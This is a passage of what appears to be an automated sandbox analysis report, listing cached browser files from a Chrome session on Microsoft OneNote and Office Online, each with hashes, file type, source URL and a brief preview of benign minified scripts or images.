Preview:	var appResourceLoader;!function(){"use strict";var e,n,t,o,r={90651:function(e,n,t){t.r(n),t.d(n,{init:function(){return c.Ts},loadChunk:function(){return g},loadIntlBootResources:function(){return a}});var o=t(5989);let r,i=!1;function a(e){const n="onenote-ribbon-intl.min.js";return i\|\|(r=(0,o.loadScript)(n,e.scriptBaseUrl.concat(n),void 0,5),i=!0),r}var c=t(72340);const u="appChrome",s="canvasAtMentions",l="loopLoadingManager",d="navigation",f="onenote-navpane-strings",p="onenote-ribbon-intl",h="onenote-whatsnew-strings",m="sharedComments",b="comment-pane-strings",v={[u]:{dependencies:[p]},[l]:{},[m]:{dependencies:[b]},[s]:{dependencies:[b]},[d]:{dependencies:[f,h]},[p]:{isLocalized:!0},"onenote-ribbon-sprite-lazy":{isLocalized:!0},"onenote-ribbon-intl-lazy":{isLocalized:!0},"onenote-intl-mlr-lazy":{isLocalized:!0},[f]:{isLocalized:!0},[h]:{isLocalized:!0},"onenote-ribbon-sprite":{isLocalized:!0},"onenote-mlr-sprite":{isLocalized:!0},"onenote-mlr-sprite-lazy":{isLocalized:!0},"tellm

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	220466
Entropy (8bit):	5.641180814862704
Encrypted:	false
SSDEEP:	3072:NtUG18et03/Oh3v3r9Uz1OLYXm151YrES17lndwCTNwVx0ehZwTKlYagjii4:N6G1Pt032h3fr+1OLYXmxg7wWxO8jii4
MD5:	899FE9A00C0786B96E4F3BB3D81FD45E
SHA1:	1F1B9BC1BF4B9132D3F1F8E7AD5235BF03D1B324
SHA-256:	3D69FD22D7D34DD8572A7ABA6AE490DF4AF6891F18370B34447EB99AB8925422
SHA-512:	0EE3E84A0F8AADA5906E5CE7353C7D46AA1FB2D823F31E9EF7E28B217BC0390B5AFFD8D0A182BB938FC179E3E1A097E53FA95225BEBD121980DAA4FD17656565
Malicious:	false
Reputation:	low
Preview:	var TellMeModel={"m":{"":76},"t":[0,7,7,7,7,7,7,7,7,7,7,7,7,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,2,10,10,10,7,4,4,4,4,4,4,4,4,4,4,7,7,7,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,7,7],"n":[336,423,426,429,432,435,438,442,445,448,451,454,457,460,481,510,519,528,537,550,563,572,581,590,599,612,625,638,651,664,677,686,699,712,725,734,747,760,773,786,799,812,825,841,859,883,907,928,957,978,991,1004,1024,1045,1055,1065,1086,1095,1105,1114,1124,1134,1155,1189,1194,1199,1206,1

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 102, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	7.799930090275787
Encrypted:	false
SSDEEP:	48:cENciM7PxxsRcCzKzVT0waLFE8ASYXamdHN:cENIgiCSVT0EJSYXamdt
MD5:	D212459353E8FD1D2514C77703D44F1F
SHA1:	A0CABB548A218E87FBCB4D4ADDEA47068A4288D3
SHA-256:	7AD89A907BFE47019D905B92D0C203082AA75852D39B480E6FBE1718A8EA3647
SHA-512:	8AA0C6904EFE31A38B2A52F05F79153D933BC48C028D18C110F59089D0EB7EAF2D97E84A42F81BAA8906AFD2BBD8C895FE53D8E998A4417422B97497556E1B7D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...f...f.....9..b...IIDATx^.ml.E..o.E..........B....'_$..&.&.....h....A..4......[..........]iC..h1.HjE.......K&......>....<3;{._......X$..T\\(.o..#..2K....g.....Oe...C..`..p..ee%...g`.e.8....b.k.c.P.:B.tv^W..2RW.,.g.j.........y..i....2.P.....T.G...Z..5.......5H..?.H...P...9..(.h.....p}..9.tS0.......q}..`pWFK..9..(....8.......L..]O..z<.%.".4..Lj:F....4.............@..s$../bux.N.%.`..$IN...%'{#.....<..]\|....0..AYt..CDI..$...=....H)..W>.>.+G>....1b........(..1?R.A...Q...C`...X...C..q]..&.........."~.o~0.P....~(\|`..^Ph......"....P.]._U0.....k.t....e.%.y3......C`.{...._$..'....k.5..J.`R........'.A....0..P(4......g...m...Z.d.I...Q.QbA..f._.nm...".....K...Cw4...k..F.e..=~..d....\|s.....`.V...`....j..ww....-..V....f.......C...6v...p.9Y..h..Wj]..._`......Z..G.m.?....w)...~...(.....=a=.]a.+R...5.`.H$..D..ehW...@..2..#..j..T.w...c..T.w...#~....e........e.k.....C.c..e.F.2.`..j..1._:....o_,.j:.!0...%....9..c.......OY0.;....0\|.U>.@`...

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.137537511266052
Encrypted:	false
SSDEEP:	3:beiCkj7Y:behw7Y
MD5:	292452D9158CA5211CEB7B3FB1D71E28
SHA1:	DE9347FB1604A4AADB4230CA87B9D9CADC98629E
SHA-256:	D6700E797D44FC7A78934BB9FC6C435027F1D23587B097003E3A84BD1B4E3333
SHA-512:	96F78888DEE4435B67982562B1A6BF4FFB084654F30AD616A3B2BBFD31DFDE4BB811116FD1C7A3C0CF7A52394EC4B84E70B82681570912448F965EF4F776CA79
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmeO6W3lEzp-hIFDdjY4LISBQ11LGDr?alt=proto
Preview:	ChIKBw3Y2OCyGgAKBw11LGDrGgA=

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 258, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6140
Entropy (8bit):	7.86318803852975
Encrypted:	false
SSDEEP:	96:JCXCuvaxrUZXtOVVLMtSqdyZ7x5rY4gby5cR+YBaB7W+Nf9XF5Qfhl4/t5K:MMr7AtaZ7fY4f5I/qRf9V6hSl5K
MD5:	2443F04DFD8CE58264835F7CD477799C
SHA1:	E798EF676A42AA8F723246C95FA6A918010223B2
SHA-256:	77DD1463FE34BE51528C6535C5AAF5590EE90BBD3B76AE8E362657C45E9F90FD
SHA-512:	2668E7EEFF653ECDEF04058FDC43328A80F297EE601839737F35A860737DAD438B03298C1A452E83DAED31DDDA540F7F065FE8F22FB05FC150A9FEAB08FFC91D
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/moe_status_icons.png
Preview:	.PNG........IHDR...R.........m......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400" xmpMM:DocumentID="xmp.did:98155F5CD83911E1ACDEFDB8BE9BCEAA" xmpMM:InstanceID="xmp.iid:98155F5BD83911E1ACDEFDB8BE9BCEAA" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F73A8D39D8E111AE39EC2BD256A3F2" stRef:documentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.[...,IDATx..........{....a.... .<c......3.....

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1922), with no line terminators
Category:	downloaded
Size (bytes):	1922
Entropy (8bit):	5.006174566262526
Encrypted:	false
SSDEEP:	48:yThd/YIWeETNQuFNJMgBVAGzeFWOUutFRVoZjskBWs:U0IWYuPuG3yov
MD5:	3E3CD75B07B521BC61C01450E2C7873A
SHA1:	57D7881E0E878CABE74B1021CF86126148928DE7
SHA-256:	2882BF4B22D0AD63E6F8877EB5C22353921E8C87B197911462933B7D1A7A44B8
SHA-512:	3B1D53CB1F49B2CF8648CEF8EDEB526B924430F2FC622421DF6AB3F61E49449CD5EB8BCCC7E6A019575A4843B0D3C50A69C4B0BF1D1133F960E92969CAC37BE7
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/BrowserUls.js
Preview:	function InitializeUls(){TheUlsHost=new Diag.ConsoleUlsHost;Diag.ULS.setUlsHost(TheUlsHost)}function FlushBrowserUls(){TheUlsHost&&TheUlsHost.dispose();InitializeUls()}var __extends=this.__extends\|\|function(n,t){function r(){this.constructor=n}for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i]);r.prototype=t.prototype;n.prototype=new r},Diag,TheUlsHost;(function(n){var t=function(){function n(){}return n.prototype.isEnabled=function(){var n=!1;try{typeof Storage!="undefined"&&(n=localStorage.getItem("EnableConsoleLogging")==="true")}catch(t){}return n&&window.console&&window.console.log},n.prototype.error=function(n){window.console.error(n)},n.prototype.warning=function(n){window.console.warn(n)},n.prototype.info=function(n){window.console.info(n)},n.prototype.log=function(n){window.console.log(n)},n}(),i=function(i){function r(r,u){r===void 0&&(r=new t);i.call(this,SessionId,BrowserUlsUploadPath,new n.UlsUploadConfiguration(null,null,null,null,null,null,!0));this._console=r;this._suppress

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31038), with no line terminators
Category:	dropped
Size (bytes):	31038
Entropy (8bit):	5.182869723505779
Encrypted:	false
SSDEEP:	768:lWo0BHNt8EF0MPEN5DkvBouB8gHEDT95kdnkVM1owjH/7VXDneVN:lP0BHNuEF0MPU9GjjpnIN
MD5:	9EB54831A39D725782574C247D3D0206
SHA1:	BAFDEAF62ED6F1BC258BDE5653AB97FA47062D0B
SHA-256:	8F1B49875CDC595D3EF040DAB7B12AF26195018F1876AC1F17A2443CE594B960
SHA-512:	902A60D3E969442C539CCA2893A71E5E95BF4AB4B5230C5D2DDB7D290D8AD3B4F28BBB30EA10BFDE72659FAABA354C9F1BCD817E6944A111FA727ED62543FD24
Malicious:	false
Reputation:	low
Preview:	!(function(){if("PerformanceLongTaskTiming"in window){var e=window.__tti={e:[]};e.o=new PerformanceObserver((function(t){e.e=e.e.concat(t.getEntries())}));e.o.observe({entryTypes:["longtask"]})}})();!(function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports["es6-symbol"]=t():(e["es6-symbol"]=t(),e.Symbol=e.Symbol\|\|e["es6-symbol"])})(window,(function(){return(function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	downloaded
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Reputation:	low
URL:	https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (581)
Category:	dropped
Size (bytes):	2267776
Entropy (8bit):	5.610635507166961
Encrypted:	false
SSDEEP:	49152:UtWaOCUmhrq7ipYvYsxQFiDU6S4jWULal/8sb4MPqCwD3Ue1oyLjQ9b9qdpoUkhZ:9uGQx2FTRo
MD5:	E5E125289CAB9A7E238710F3706DD4C3
SHA1:	D802CD8D5C0632884665BF727E51E9E379E271AE
SHA-256:	D256F29079F837AC7CBD1C8E72EC48675AD04E38757D044833FC3259337D4A8C
SHA-512:	21DA5864BBCC667F751B6BC106194C1AD11372EC99C1459A40DEA129CB9F9EC10899293E391D68645D9BAAF0E3406CBF3533F70C3DD035CF85056C3834C08A2A
Malicious:	false
Reputation:	low
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[1],{56494:function(Ba,$a,R){R.d($a,{a:function(){return X}});Ba=R(6885);var Ga=R(33067),La=R(19780),Ta=R(22137),K=R(69525),W=R(23866),d=R(83068),n=R(77836),k=R(4461),l=R(86250),u=R(72997),e=R(66511),B=R(54170),h=R(4638),w=R(18268),A=R(90491),G=R(60004),I=R(70398),F=R(93518),C=R(34914),t=R(405),M=R(27673),J=R(30549),L=R(32393),v=R(73379),r=R(9376),z=R(27944),H=R(35197),D=R(27557),O=R(53997);class U{constructor(){this.pressure=.this.pageY=this.pageX=this.y=this.x=0}}(0,Ba.a)(U,"InkPacket",null,[]);var S=R(95249),T=R(66617),Z=R(32935),ca=R(24372),ea=R(92033);class X{static get sJc(){return W.a.instance.resolve("OneNote.IInkEditor")}static get F7(){return d.FocusManager.instance()}static get Elb(){return X.Re\|\|(X.Re=W.a.instance.resolve("Box4.ICaretPositionManager"))}static get zAa(){return X.kb\|\|(X.kb=W.a.instance.resolve("Box4.ICevViewContentManager"))}static ju(){return X.mj\|\|(X.mj=W.a.instance

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1295197
Entropy (8bit):	5.526083231571729
Encrypted:	false
SSDEEP:	24576:aBVbsxDxy73HqrHIQNjTzSjFZes0JR+Msv4gWWOGeI+fPRkaXu2tt:MVbqDxy73KrHI0H2jFZes0JR+Msv4gWJ
MD5:	D2182DC18D660152ABFBFF8D08463305
SHA1:	CD23B02632470B8F58E6514FEB049C26F2D1A3AC
SHA-256:	4EC5F32188EFC44E3A85C5858CA60D68697A82785D35FAE597E461E242A3AC4A
SHA-512:	20912BE43971AE9452EAF53EAFF445570D0A6477071C2A701172F0556D01D023B383C92122993DA85E16B57A23FA0460971E42146FECD39F21777113F8F4182F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/common50.min.js
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},o=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),o.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}function _object_wi

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.773010557409425
Encrypted:	false
SSDEEP:	3:mS/SJhnjiCkj7ui5T8IDqtUPlkk2SY:mS/SJhjhw7uiuIiLk2r
MD5:	FF55249D55143D5EB2DF396FA8A34EE8
SHA1:	D2B08C91DD9FCC8D49BAE85476308230D0BC591F
SHA-256:	216A9426D94326E483B2C11154DE2E303385366841111A4A3DAD5590FF89F0BC
SHA-512:	8C1608B6F69312D5BE76DFDBF4E762BA9B50CDE6BBDECA98274F965764F54465CA336EDD6DC7D76996D3DAEC4CB1D59FE5CFEB3B9EE1820E2771879D460A2DD5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgnsu2_kRgjGBRIFDYmyVeUSBQ3Y2OCyEgUNdSxg6xIeCXzPx66azzGeEgUNibJV5RIFDdjY4LISBQ11LGDr?alt=proto
Preview:	ChsKBw2JslXlGgAKBw3Y2OCyGgAKBw11LGDrGgAKGwoHDYmyVeUaAAoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011), with CRLF line terminators
Category:	dropped
Size (bytes):	53853
Entropy (8bit):	5.500009921962495
Encrypted:	false
SSDEEP:	768:WFBlHId5vh+HExEP0HLVwU+megaBJpLGgVI3g6BifcqJMBSWDv6:WpHId5W0HLEagVIw6QXb
MD5:	5A8ED3646A340A247CD48F5732BAEA69
SHA1:	8A961A2C1461EB5CD8A9009911970824602F8B79
SHA-256:	C459EC1608D98A847AB4C83723E1C4B2DC6E58A7006D5566C529A93113C2EE62
SHA-512:	5421BC6C0EA27EE75F7B5633AA5757C62EE16C84E94099D301EEA9944131F8A26CE941711ACE5EFB66AD62FBD16460B31403A2B016E8CF72D1F025868CA838D8
Malicious:	false
Reputation:	low
Preview:	var clienttelemetry_build;!function(e){e.version="2.9.0"}(clienttelemetry_build\|\|(clienttelemetry_build={}));var Microsoft;!function(e){var t;!function(e){var t;!function(e){e[e.BT_STOP=0]="BT_STOP",e[e.BT_STOP_BASE=1]="BT_STOP_BASE",e[e.BT_BOOL=2]="BT_BOOL",e[e.BT_UINT8=3]="BT_UINT8",e[e.BT_UINT16=4]="BT_UINT16",e[e.BT_UINT32=5]="BT_UINT32",e[e.BT_UINT64=6]="BT_UINT64",e[e.BT_FLOAT=7]="BT_FLOAT",e[e.BT_DOUBLE=8]="BT_DOUBLE",e[e.BT_STRING=9]="BT_STRING",e[e.BT_STRUCT=10]="BT_STRUCT",e[e.BT_LIST=11]="BT_LIST",e[e.BT_SET=12]="BT_SET",e[e.BT_MAP=13]="BT_MAP",e[e.BT_INT8=14]="BT_INT8",e[e.BT_INT16=15]="BT_INT16",e[e.BT_INT32=16]="BT_INT32",e[e.BT_INT64=17]="BT_INT64",e[e.BT_WSTRING=18]="BT_WSTRING",e[e.BT_UNAVAILABLE=127]="BT_UNAVAILABLE"}(t=e.BondDataType\|\|(e.BondDataType={}));var n;!function(e){e[e.MARSHALED_PROTOCOL=0]="MARSHALED_PROTOCOL",e[e.MAFIA_PROTOCOL=17997]="MAFIA_PROTOCOL",e[e.COMPACT_PROTOCOL=16963]="COMPACT_PROTOCOL",e[e.JSON_PROTOCOL=21322]="JSON_PROTOCOL",e[e.PRETTY_JSON_PR

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3527), with no line terminators
Category:	downloaded
Size (bytes):	3527
Entropy (8bit):	5.243451451019216
Encrypted:	false
SSDEEP:	48:G6E6oKn0FmM8LOCvlocJZS1tJM3kL+4UT3LW0IwlQSoIQ90ESf4TmlSYmYBo:9yDWocHS3Wl4W3abOQS/CahlcYW
MD5:	DF2E618F66E5DE074A8070BC09CA3C4F
SHA1:	38F67C978761E4AEAA5341A4FF39C59C1DED221C
SHA-256:	BD0DD2B15855BE52CBA496CC6E8F0FF65FBBA6ADDBA92282E53CECA6B27BFCC9
SHA-512:	6CCA2001607B8DBA825F30116A7CD0FC93A0A32E01931DA86AD4820F883CB1AD25823D61443321525550E0EEDD17E0A018A1B13F6E802050593DE19E721F450B
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/Instrumentation.js
Preview:	function GetInstrumentationCategory(){return instrumentationCategory?instrumentationCategory:InstrumentationCategoryString?instrumentationCategory=Diag.ULSCat[InstrumentationCategoryString]:null}function InstrumentLinks(n){for(var t,r=0,i=0;i<n.length;i++)t=n[i],t.id\|\|(t.id="un_"+r,r++),t.onclick=GenerateInstrumentationLink(t.id,t.onclick),t.ondragstart=GenerateDragInstrumentationLink(t.id,t.ondrag),t.oncontextmenu=GenerateContextMenuInstrumentationLink(t.id,t.oncontextmenu)}function LogUserViewPortInfo(){var t=$(window).width(),n=$(window).height(),i=screen.width,r=screen.height,u=$(document).height(),f=n/u100;Diag.ULS.sendTraceTag(6436628,GetInstrumentationCategory(),Diag.ULSTraceLevel.info,"User ViewPort Info;windowWidth={0};windowHeight={1};screenWidth={2};screenHeight={3};percentageOfPageVisible={4};",t,n,i,r,f.toFixed(3))}function UpdateFurthestScrollDepth(){var t=$(window).scrollTop(),i=$(window).height(),r=t+i,u=$(document).height(),n=r/u100;n>furthestScrollDepthPercentage&&(

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11667), with no line terminators
Category:	dropped
Size (bytes):	11667
Entropy (8bit):	4.97980937003193
Encrypted:	false
SSDEEP:	192:cHGtlNF+JzgGuA3pNvWAPsYmiT398yRFXiBpiiBlVIkslsunbe4uGfEinAMj9fsh:T/kpldNhVVimx+8mkKDypJBJeJjxQSlT
MD5:	A1D892F1368C7F3B1DFB75057B936B66
SHA1:	91EC4980BFA5B301199B574E6240A618247679F9
SHA-256:	2DB70125E37F651D09A6D03D593A65E09668E6267CCA1257251328517F7EAEFC
SHA-512:	F2834E3B673CF7BFBABF9A92A0D4524F5696996CA67EBD6605F08206C95C3DCCE3AB95E4297452186074EB92827BFA4D811A61959EBA60544393BA14F4C7A3B9
Malicious:	false
Reputation:	low
Preview:	Type.registerNamespace("Strings");Strings.OsfRuntime=function(){};Strings.OsfRuntime.registerClass("Strings.OsfRuntime");Strings.OsfRuntime.L_ActivateAttempLoading_ERR="This add-in may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateAttempLoading_ERR_FirstParty="This feature may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateButton_TXT="Start";Strings.OsfRuntime.L_AddinCommands_AddinNotSupported_Message="Your add-in manifest is not valid.";Strings.OsfRuntime.L_AddinCommands_LearnMore_Link="Learn more.";Strings.OsfRuntime.L_AddinsCatalogIframeTitle_TXT="Office Add-ins catalog iframe";Strings.OsfRuntime.L_AgaveActivationError_ERR="Something went wrong and we couldn't start this add-in. Please try again later or contact your system administrator.";Strings.OsfRuntime.L_AgaveActivationError_ERR_FirstParty="Something went wrong and we couldn't start this feature. Please try again later or contact your system administrat

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 102, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1922
Entropy (8bit):	7.799930090275787
Encrypted:	false
SSDEEP:	48:cENciM7PxxsRcCzKzVT0waLFE8ASYXamdHN:cENIgiCSVT0EJSYXamdt
MD5:	D212459353E8FD1D2514C77703D44F1F
SHA1:	A0CABB548A218E87FBCB4D4ADDEA47068A4288D3
SHA-256:	7AD89A907BFE47019D905B92D0C203082AA75852D39B480E6FBE1718A8EA3647
SHA-512:	8AA0C6904EFE31A38B2A52F05F79153D933BC48C028D18C110F59089D0EB7EAF2D97E84A42F81BAA8906AFD2BBD8C895FE53D8E998A4417422B97497556E1B7D
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/m2/box43.png
Preview:	.PNG........IHDR...f...f.....9..b...IIDATx^.ml.E..o.E..........B....'_$..&.&.....h....A..4......[..........]iC..h1.HjE.......K&......>....<3;{._......X$..T\\(.o..#..2K....g.....Oe...C..`..p..ee%...g`.e.8....b.k.c.P.:B.tv^W..2RW.,.g.j.........y..i....2.P.....T.G...Z..5.......5H..?.H...P...9..(.h.....p}..9.tS0.......q}..`pWFK..9..(....8.......L..]O..z<.%.".4..Lj:F....4.............@..s$../bux.N.%.`..$IN...%'{#.....<..]\|....0..AYt..CDI..$...=....H)..W>.>.+G>....1b........(..1?R.A...Q...C`...X...C..q]..&.........."~.o~0.P....~(\|`..^Ph......"....P.]._U0.....k.t....e.%.y3......C`.{...._$..'....k.5..J.`R........'.A....0..P(4......g...m...Z.d.I...Q.QbA..f._.nm...".....K...Cw4...k..F.e..=~..d....\|s.....`.V...`....j..ww....-..V....f.......C...6v...p.9Y..h..Wj]..._`......Z..G.m.?....w)...~...(.....=a=.]a.+R...5.`.H$..D..ehW...@..2..#..j..T.w...c..T.w...#~....e........e.k.....C.c..e.F.2.`..j..1._:....o_,.j:.!0...%....9..c.......OY0.;....0\|.U>.@`...

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20116), with no line terminators
Category:	downloaded
Size (bytes):	20116
Entropy (8bit):	5.265227006593126
Encrypted:	false
SSDEEP:	384:uCYdXBag5QAdRLxUSkgRfku5ro+PZCewau6Y:K5Z7LKocu5ro+PZCdau6Y
MD5:	EDF023B23DC08C7C90BA27A3BDE7480B
SHA1:	0F03EDBE6BDA20C20251EFF9DB86359EB5155F66
SHA-256:	7337ED6220111758E61F3BE5060AE9A807D83EDF05D5F7CC92B0B85E34A5FEF3
